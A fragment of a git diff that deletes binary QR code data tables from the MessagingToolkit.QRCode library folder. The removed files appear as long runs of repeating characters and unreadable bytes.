uuvvwwxx((''&&%%bbaa``__|{{zzyyxLMMNNOOP ]\\[[ZZYXYYZZ[[\QPPOONNMdeeffggh;<<==>>?PPOONNMMeeffgghhyyzz{{||$$##""!!^^]]\\[[xwwvvuutPQQRRSSTYXXWWVVU\]]^^__` - - MLLKKJJIhiijjkkl?@@AABBC - - LLKKJJIIiijjkkll}}~~ ZZYYXXWWtssrrqqpTUUVVWWXUTTSSRRQ`aabbccd IHHGGFFElmmnnoopCDDEEFFG HHGGFFEEmmnnooppVVUUTTSSpoonnmmlXYYZZ[[\QPPOONNMdeeffgghEDDCCBBApqqrrsstGHHIIJJKDDCCBBAAqqrrsstt RRQQKKJJlkkjjiih\]]^^__` - - MLLKKJJIhiijjkklA@@??>>=tuuvvwwxKQQRRSST@@??>>==uuvvwwxx!!""##$$~~}}IIHHGGFFgfedccbb`aabbccd IHHGGFFElmmnnoop=<<;;::9xyyzz{{|TUUVVWWX<<;;::99yyzz{{||%%&&''((||{{zzyy EEDDCCBBaa``__^^deeffgghEDDCCBBApqqrrsst 98877665|}}~~XYYZZ[[\ 88776655}}~~))**++,,xxwwvvuu - - AA@@??>>]]\\[[ZZhiijjkklA@@??>>=tuuvvwwx !!""##$54433221\]]^^__`!!""##$$44332211--..//00ttssrrqq - - ==<<;;::YYXXWWVVlmmnnoop=<<;;::9xyyzz{{|$%%&&''(100//..-`aabbcci%%&&''((00//..--11223344ppoonnmm 99332211UUTTSSRRpqqrrsst 98877665|}}~~())**++,-,,++**){{zzyyxijjkkllm))**++,,,,++**))~~}}55667788llkkjjii00//..--QQPONMLKtuuvvwwx !!""##$54433221,--..//0)((''&&%xwwvvuutmnnooppq--..//00((''&&%%||{{zzyy99::;;<>??@@ddccbbaa((''&&%%GFFEEDDC|}}~~())**++,-,,++**)~~}45566778! poonnmmluvvwwxxy55667788 ttssrrqqAABBCCDD``__^^]] $$##""!!CBBAA@@?,--..//0)((''&&%}||{{zzy899::;;<lkkjjiicyzz{{99::;;<<ppoonnmmEEFFGGHH\\[[ZZYY!!""##$$?>>==<<;01122334%$$##""!yxxwwvvu<==>>??@cbbaa``_==>>??@@llkkjjiiIIJJKKLLXXWWVVUU%%&&''((;::99876~~}45566778! uttssrrq@AABBCCD_^^]]\\[~AABBCCDDhhggffeeMMNNOOPPTTSSRRQQ))**++,,54332211}||{{zzy899::;;<qppoonnmDEEFFGGH [ZZYYXXW}|{{zzyyEEFFGGHH ddccbbaaQQRRSSTTPPOONNMM--..//00 00//..--yxxwwvvu<==>>??@mllkkjjiHIIJJKKL - - WVVUUTTSxxwwvvuuIIJJKKLL - - ``__^^]]UUVVWWXXLLKKJJII11223344 - - ,,++**))uttssrrq@AABBCCDihhggffeLMMNNOOP SRRQQKKJttssrrqqMMNNOOPP\\[[ZZYYYYZZ[[\\HHGGFFEE55667788 - - ((''&&%%qppoonnmDEEFFGGH eddccbbaPQQRRSSTJIIHHGGFppoonnmmQQRRSSTTXXWWVVUU]]^^__``DDCCBBAA99::;;<<$$##""!!mllkkjjiHIIJJKKL - - a``__^^]TUUVVWWXFEEDDCCBllkkjjiiUUVVWWXXTTSSRRQQaabbccdd@@??>>====>>??@@ ihhggffeLMMNNOOP ]\\[[ZZYXYYZZ[[\BAA@@??>hgfedccbYYZZ[[\\PPOONNMMeeffgghh<<;;::9988776655}}~~))**++,,?>>==<<;}~~)**++,,-,++**))(~~}}|56677889 onnmmllkvwwxxyyz66778899ssrrqqppBBCCDDEEggffeeddNNOOPPQQ!!""##gffeeddcNOOPPQQR[ZZYYXXWZ[[\\]]^ -=<<;;::9MLLKKJJI44332211--..//00 ;::99876-..//001(''&&%%$|{{zzyyx9::;;<<=kjjiiccbz{{::;;<<==oonnmmllFFGGHHII ccbbaa``RRSSTTUU$$%%&&'' cbbaa``_RSSTTUUVWVVUUTTS^__``aab - 93322110IHHGGFFE00//..--11223344 - - 5433221112233445$##""!! xwwvvuut=>>??@@Abaa``__^>>??@@AAkkjjiihhJJKKLLMM - - __^^]]\\VVWWXXYY(())**++ - - _^^]]\\[VWWXXYYZSRRQQPPObccddeef0//..--,EDDCCBBA,,++**))~~}}5566778800//..--~~}}|56677889 tssrrqqpABBCCDDE^]]\\[[Z~}|BBCCDDEEggffeeddNNOOPPQQ[[ZZYYXXZZ[[\\]],,--..// [ZZYYXXWZ[[\\]]^ -ONNMMLLKfgghhiij,++**))(A@@??>>=((''&&%%||{{zzyy99::;;<< ,,++**))|{{zzyyx9::;;<<=poonnmmlEFFGGHHI ZYYXXWWV{{zzyyxxFFGGHHII ccbbaa``RRSSTTUUWWVVUUTT^^__``aa00112233WVVUUTTS^__``aab - KJJIIHHGjkkllmmn(''&&%%$=<<;;::9$$##""!!xxwwvvuu==>>??@@ - - ((''&&%%xwwvvuut=>>??@@AlkkjjiihIJJKKLLM - - VUUTTSSRwwvvuuttJJKKLLMM - - __^^]]\\VVWWXXYYSSRRQQPPbbccddee99::;;<<SRRQQPPObccddeefGFFEEDDCnooppqqr$##""!!98877665 ttssrrqqAABBCCDD$$##""!!tssrrqqpABBCCDDEhggffeedMNNOOPPQRQQKKJJIssrrqqppNNOOPPQQ[[ZZYYXXZZ[[\\]] OONNMMLLffgghhii==>>??@@ -ONNMMLLKfgghhiijCBBAA@@?rssttuuv !!"54433221ppoonnmmEEFFGGHH poonnmmlEFFGGHHI dccbbaa`QRRSSTTUIHHGGFFEoonnmmllRRSSTTUUWWVVUUTT^^__``aa - - KKJJIIHHjjkkllmmAABBCCDD - KJJIIHHGjkkllmmn?>>==<<;vwwxxyyz"##$$%%&100//..-llkkjjiiIIJJKKLLlkkjjiihIJJKKLLM - - `__^^]]\UVVWWXXYEDDCCBBAkkjjiihgVVWWXXYYSSRRQQPPbbccddeeGGFFEEDDnnooppqqEEFFGGHHGFFEEDDCnooppqqr;::99887z{{||}}~&''(())*-,,++**)hhggffeeMMNNOOPP!!""hggffeedMNNOOPPQ\[[ZZYYXYZZ[[\\] A@@??>>=fedccbbaZZ[[\\]] OONNMMLLffgghhiiCCBBAA@@rrssttuuIIJJKKQQCBBAA@@?rssttuuv !!"76655443~*++,,--. )((''&&% ddccbbaaQQRRSSTT##$$%%&&dccbbaa`QRRSSTTUXWWVVUUT]^^__``a - - =<<;;::9a``__^^]^^__``aa - - KKJJIIHHjjkkllmm??>>==<>==<<;vwwxxyyz"##$$%%&3221100/.//00112 - - -%$$##""! - - ``__^^]]UUVVWWXX''(())** -`__^^]]\UVVWWXXYTSSRRQQPabbccdde 93322110]\\[[ZZYbbccddeeGGFFEEDDnnooppqq;;::9988zz{{||}}VVWWXXYY;::99887z{{||}}~&''(())*/..--,,+23344556 - ! \\[[ZZYYYYZZ[[\\++,,--.. - \[[ZZYYXYZZ[[\\] POONNMMLeffgghhi0//..--,YXXWWVVUffgghhiiCCBBAA@@rrssttuu !!77665544~~ZZ[[\\]] !!"76655443~*++,,--.+**))(('~~}}||{6778899:XXWWVVUU]]^^__``//001122XWWVVUUT]^^__``a - - LKKJJIIHijjkkllm,++**))(UTTSSRRQjjkkllmm??>>==<TTSSRRQQaabbccdd3399::;;TSSRRQQPabbccdde HGGFFEEDmnnooppq(''&&%%$QPONMLKKnnooppqq;;::9988zz{{||}}&&''(())//..--,,{{bbcciijj&''(())*/..--,,+23344556#""!! wvvuutts>??@@AABPPOONNMMeeffgghh<<==>>?? POONNMMLeffgghhiDCCBBAA@qrrssttu !$##""!!JJIIHHGGrrssttuu !!77665544~~**++,,--++**))((zzyyxxwwkkllmmnn*++,,--.+**))(('~~}}||{6778899:srrqqppoBCCDDEEF!!""# - - LLKKJJIIiijjkkll@@AABBCC - - LKKJJIIHijjkkllm@??>>==onnmmllkFGGHHIIJ#$$%%&&' - - HHGGFFEEmmnnooppDDEEFFGG HGGFFEEDmnnooppq<;;::998yzz{{||}%&&''(()BBAA@@??zz{{||}}&&''(())//..--,,22334455##""!! rrqqppoossttuuvv23344556#""!! wvvuutts>??@@AABkjjiihhgJKKLLMMN'(())**+ - - DDCCBBAAqqrrssttHHIIJJKKDCCBBAA@qrrssttu !87766554}~~)**++,,->>==<<;;~~**++,,--++**))((~~}}||66778899nnmmllkkwwxxyyzz6778899:srrqqppoBCCDDEEFgffeeddcNOOPPQQR+,,--../ @@??>>==uuvvwwxxQQRRSSTT@??>>==onnmmllkFGGHHIIJ cbbaa``_RSSTTUUV/0011223<<;;::99yyzz{{||UUVVWWXX<;;::998yzz{{||}%&&''(()0//..--,12233445 - - 4332211022334455##""!! wwvvuutt>>??@@AAaa``__^^>??@@AABkjjiihhgJKKLLMMN - - _^^]]\\[VWWXXYYZ399::;;< 88776655}}~~YYZZ[[\\ !87766554}~~)**++,,-,++**))(~~}}|566778890//..--,~~}}||66778899ssrrqqppBBCCDDEE]]\\[[ZZ~}|{BCCDDEEFgffeeddcNOOPPQQR[ZZYYXXWZ[[\\]]^<==>>??@!!""##$$44332211]]^^__``!""##$$%43322110-..//001(''&&%%$|{{zzyyx9::;;<<= -,++**))({{zzyyxx::;;<<==oonnmmllFFGGHHII YYXXWWVV{zzyyxxwFGGHHIIJ cbbaa``_RSSTTUUVWVVUUTTS^__``aab@AABBCCD %%&&''((00//..--aabbccii%&&''(()0//..--,12233445$##""!! xwwvvuut=>>??@@A - (''&&%%$wwvvuutt>>??@@AAkkjjiihhJJKKLLMM - - UUTTSSRRwvvuuttsJKKLLMMN - - _^^]]\\[VWWXXYYZSRRQQPPObccddeefDEEFFGGH !!""##$))**++,,,,++**)){{zzyyxxjjkkllmm)**++,,-,++**))(~~}}|56677889 tssrrqqpABBCCDDE$##""!! ssrrqqppBBCCDDEEggffeeddNNOOPPQQQQKKJJIIsrrqqppoNOOPPQQR[ZZYYXXWZ[[\\]]^ -ONNMMLLKfgghhiijHIIJJKKQ$%%&&''(--..//00((''&&%%wwvvuuttnnooppqq-..//001(''&&%%$|{{zzyyx9::;;<<=poonnmmlEFFGGHHIoonnmmllFFGGHHII ccbbaa``RRSSTTUUHHGGFFEEonnmmllkRSSTTUUVWVVUUTTS^__``aab - KJJIIHHGjkkllmmnQRRSSTTU())**++,11223344$$##""!!ssrrqqpprrssttuu12233445$##""!! xwwvvuut=>>??@@AlkkjjiihIJJKKLLMkkjjiihhJJKKLLMM - - __^^]]\\VVWWXXYYDDCCBBAAkjjiihgfVWWXXYYZSRRQQPPObccddeefGFFEEDDCnooppqqrUVVWWXXY,--..//055667788 oonnmmllvvwwxxyy56677889 tssrrqqpABBCCDDEhggffeedMNNOOPPQ!!""#ggffeeddNNOOPPQQ[[ZZYYXXZZ[[\\]] @@??>>==edccbbaaZ[[\\]]^ -ONNMMLLKfgghhiijCBBAA@@?rssttuuvYZZ[[\\]0112233499::;;<<kkjjiicczz{{9::;;<<=poonnmmlEFFGGHHI dccbbaa`QRRSSTTU#$$%%&&'ccbbaa``RRSSTTUUWWVVUUTT^^__``aa - - <<;;::99``__^^]]^__``aab - KJJIIHHGjkkllmmn?>>==<<;vwwxxyyz]^^__``a45566778==>>??@@bbaa``__=>>??@@AlkkjjiihIJJKKLLM - - `__^^]]\UVVWWXXY'(())**+ - -__^^]]\\VVWWXXYYSSRRQQPPbbccddee33221100\\[[ZZYYbccddeefGFFEEDDCnooppqqr;::99887z{{||}}~abbcciij899::;;>??@EEFFGGHH ZZYYXXWW|{{zzyyxEFFGGHHI dccbbaa`QRRSSTTUXWWVVUUT]^^__``a/0011223WWVVUUTT^^__``aa - - KKJJIIHHjjkkllmm++**))((TTSSRRQQjkkllmmn?>>==<<;vwwxxyyz"##$$%%&3221100/||{nooppqqr@AABBCCDIIJJKKLL - - VVUUTTSSxwwvvuutIJJKKLLM - - `__^^]]\UVVWWXXYTSSRRQQPabbccdde399::;;<SSRRQQPPbbccddeeGGFFEEDDnnooppqq''&&%%$$PONMLKKJnooppqqr;::99887z{{||}}~&''(())*/..--,,+{zzyyxxwrssttuuvDEEFFGGHMMNNOOPPRRQQKKJJtssrrqqpMNNOOPPQ\[[ZZYYXYZZ[[\\] POONNMMLeffgghhi<==>>??@ OONNMMLLffgghhiiCCBBAA@@rrssttuu !!##""!!JIIHHGGFrssttuuv !!"76655443~*++,,--.+**))(('wvvuuttsvwwxxyyyHIIJJKKLQQRRSSTTIIHHGGFFpoonnmmlQRRSSTTUXWWVVUUT]^^__``a - - LKKJJIIHijjkkllm@AABBCCD - - KKJJIIHHjjkkllmm??>>==<z{{||}}~&''(())*/..--,,+23344556#""!! onnmmllkuttssrrqPQQRRSSTYYZZ[[\\AA@@??>>gfedccbbYZZ[[\\] POONNMMLeffgghhiDCCBBAA@qrrssttuHIIJJKKQCCBBAA@@rrssttuu !!77665544~~**++,,-->==<<;;:~*++,,--.+**))(('~~}}||{6778899:kjjiiccbqppoonnmTUUVVWWX]]^^__`` - - ==<<;;::aa``__^^]^^__``a - - LKKJJIIHijjkkllm@??>>==>==<baa``__^mllkkjjiXYYZZ[[\aabbccdd 99332211]]\\[[ZZabbccdde HGGFFEEDmnnooppq<;;::998yzz{{||}UVVWWXXY;;::9988zz{{||}}&&''(())//..--,,22334455 - - 3322110023344556#""!! wvvuutts>??@@AAB^]]\\[[Zihhggffe\]]^^__`eeffgghh00//..--YYXXWWVVeffgghhiDCCBBAA@qrrssttu !87766554}~~YZZ[[\\] !!77665544~~**++,,--++**))((~~}}||66778899//..--,,~~}}||{6778899:srrqqppoBCCDDEEFZYYXXWWVeddccbba`aabbccdiijjkkll,,++**))UUTTSSRRijjkkllm@??>>==onnmmllkFGGHHIIJ VUUTTSSRa``__^^]deeffgghmmnnoopp((''&&%%QQPONMLKmnnooppq<;;::998yzz{{||}%&&''(()0//..--,{abbcciij&&''(())//..--,,22334455##""!! wwvvuutt>>??@@AA ''&&%%$$wvvuutts>??@@AABkjjiihhgJKKLLMMN - - RQQKKJJI]\\[[ZZYhiijjkklqqrrsstt $$##""!!KJJIIHHGqrrssttu !87766554}~~)**++,,-,++**))({zzyyxxwjkkllmmn**++,,--++**))((~~}}||66778899ssrrqqppBBCCDDEE##""!! srrqqppoBCCDDEEFgffeeddcNOOPPQQRIHHGGFFEYXXWWVVUlmmnnoopuuvvwwxx!!""##$$GFFEEDDCuvvwwxxy!""##$$%43322110-..//001(''&&%%$wvvuuttsnooppqqr..//0011''&&%%$${{zzyyxx::;;<<==oonnmmllFFGGHHIIonnmmllkFGGHHIIJ cbbaa``_RSSTTUUVEDDCCBBAUTTSSRRQpqqrrsstyyzz{{||%%&&''((CBBAA@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pvnXbHAZp~f`ZHAbArd|bHAZpdrtAJXQrZdQbtbHAZpdrtAJHAbےrd|~HfdrtAJ~f`lJtArXv`frtAJl~f`Abے`~HfpbHAZp˙tAJlQr˂pf۝`vQtJlp˂r`vXn`JXQrv`f˂rXvXn`JXQZdQb˂rXJlt˂pZHlJtA˂rXQltb`JXQrZdQbtpvnltbvXnd|Z~fpvtbdvXnہJXQrvnXrXQtbnZHAbXnvˍtbAdZXQJ`ےvpf˂pZ~HfpQJ`ےvpfHr˂pnXv`QJ`ےbdQZ|Abے`rd|J`ےdQZ|˂pZlJtAXv`fdQZ|vpfHdQbt璅nXv`QZ|dvpfH˂pZHv`fJ`ےvpfHے`JXpfH~|drQt}~~-------------------.......................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_3.dat deleted file mode 100644 index 5670535..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_3.dat +++ /dev/null @@ -1,265 +0,0 @@ -{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqpopopopmnmnmnmnklklklklijijijijghghghghcccccdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPO{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLK{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLK{|{|{|{{yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPONMLKLKLKLK{{{{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijghghghghcdcdcdcdbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKKKKKKL|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvsrqrqrqropopopopmnmnmnmnklklklklijijijijghghghgfcdccccccbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKL|{{{{{{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKLKLKKKK~}{|{|{|{|yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcccbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKKLKLKLK~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcccdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK~}~}~}~}{|{|{{{{yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLK~}~}~}~}{{|{|{|{yzyzyzyzwvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMKKKKKLKL~}~}~}~}|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefccccccdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL~}~}~}~}|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijefefefefdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL~}~}~}~}|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklihghghghefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL~}~}~}~}|{|{|{|{yzyzyzyzuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKLKLKL~}~}~}~}{{{{{|{|yxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMKLKKKKKL~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdccccc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMKLKLKLKJ~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnkjijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}{|{|{|{ywxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}yyyyyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmlklklklijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMLKLKIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghefefefefbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOLKLKKKKKIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghefefedcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijghghghghcdcdccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqronmnmnmnklklklklijijijijghghghghccdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJ~}~}~}~}yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJ~}~}|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKLKLKLKKIJIJIJIJ|{|{{{{{yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOKKKKLKLKIJIJIJIJ{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -IJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878765633333343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565643433333212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434212121210/0/0/.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -IJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656563434343421212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - 